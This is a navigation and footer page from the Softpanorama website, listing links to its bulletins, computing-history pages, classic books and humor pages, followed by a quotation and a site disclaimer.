Vol 25, No.12 (December, 2013) Rational Fools vs. Efficient Crooks The efficient markets hypothesis : Political Skeptic Bulletin, 2013 : Unemployment Bulletin, 2010 :  Vol 23, No.10 (October, 2011) An observation about corporate security departments : Slightly Skeptical Euromaydan Chronicles, June 2014 : Greenspan legacy bulletin, 2008 : Vol 25, No.10 (October, 2013) Cryptolocker Trojan (Win32/Crilock.A) : Vol 25, No.08 (August, 2013) Cloud providers as intelligence collection hubs : Financial Humor Bulletin, 2010 : Inequality Bulletin, 2009 : Financial Humor Bulletin, 2008 : Copyleft Problems Bulletin, 2004 : Financial Humor Bulletin, 2011 : Energy Bulletin, 2010 : Malware Protection Bulletin, 2010 : Vol 26, No.1 (January, 2013) Object-Oriented Cult : Political Skeptic Bulletin, 2011 : Vol 23, No.11 (November, 2011) Softpanorama classification of sysadmin horror stories : Vol 25, No.05 (May, 2013) Corporate bullshit as a communication method  : Vol 25, No.06 (June, 2013) A Note on the Relationship of Brooks Law and Conway Law

History:

Fifty glorious years (1950-2000): the triumph of the US computer engineering : Donald Knuth : TAoCP and its Influence of Computer Science : Richard Stallman : Linus Torvalds  : Larry Wall  : John K. Ousterhout : CTSS : Multix OS Unix History : Unix shell history : VI editor : History of pipes concept : Solaris : MS DOS :  Programming Languages History : PL/1 : Simula 67 : C : History of GCC development :  Scripting Languages : Perl history   : OS History : Mail : DNS : SSH : CPU Instruction Sets : SPARC systems 1987-2006 : Norton Commander : Norton Utilities : Norton Ghost : Frontpage history : Malware Defense History : GNU Screen : OSS early history

Classic books:

The Peter Principle : Parkinson Law : 1984 : The Mythical Man-Month :  How to Solve It by George Polya : The Art of Computer Programming : The Elements of Programming Style : The Unix Hater’s Handbook : The Jargon file : The True Believer : Programming Pearls : The Good Soldier Svejk : The Power Elite

Most popular humor pages:

Manifest of the Softpanorama IT Slacker Society : Ten Commandments of the IT Slackers Society : Computer Humor Collection : BSD Logo Story : The Cuckoo's Egg : IT Slang : C++ Humor : ARE YOU A BBS ADDICT? : The Perl Purity Test : Object oriented programmers of all nations : Financial Humor : Financial Humor Bulletin, 2008 : Financial Humor Bulletin, 2010 : The Most Comprehensive Collection of Editor-related Humor : Programming Language Humor : Goldman Sachs related humor : Greenspan humor : C Humor : Scripting Humor : Real Programmers Humor : Web Humor : GPL-related Humor : OFM Humor : Politically Incorrect Humor : IDS Humor : "Linux Sucks" Humor : Russian Musical Humor : Best Russian Programmer Humor : Microsoft plans to buy Catholic Church : Richard Stallman Related Humor : Admin Humor : Perl-related Humor : Linus Torvalds Related humor : PseudoScience Related Humor : Networking Humor : Shell Humor : Financial Humor Bulletin, 2011 : Financial Humor Bulletin, 2012 : Financial Humor Bulletin, 2013 : Java Humor : Software Engineering Humor : Sun Solaris Related Humor : Education Humor : IBM Humor : Assembler-related Humor : VIM Humor : Computer Viruses Humor : Bright tomorrow is rescheduled to a day after tomorrow : Classic Computer Humor

The Last but not Least Technology is dominated by two types of people: those who understand what they do not manage and those who manage what they do not understand ~Archibald Putt. Ph.D

The statements, views and opinions presented on this web page are those of the author (or referenced source) and are not endorsed by, nor do they necessarily reflect, the opinions of the Softpanorama society. We do not warrant the correctness of the information provided or its fitness for any purpose. The site uses AdSense so you need to be aware of Google privacy policy. You you do not want to be tracked by Google please disable Javascript for this site. This site is perfectly usable without Javascript.

Last modified: March 12, 2019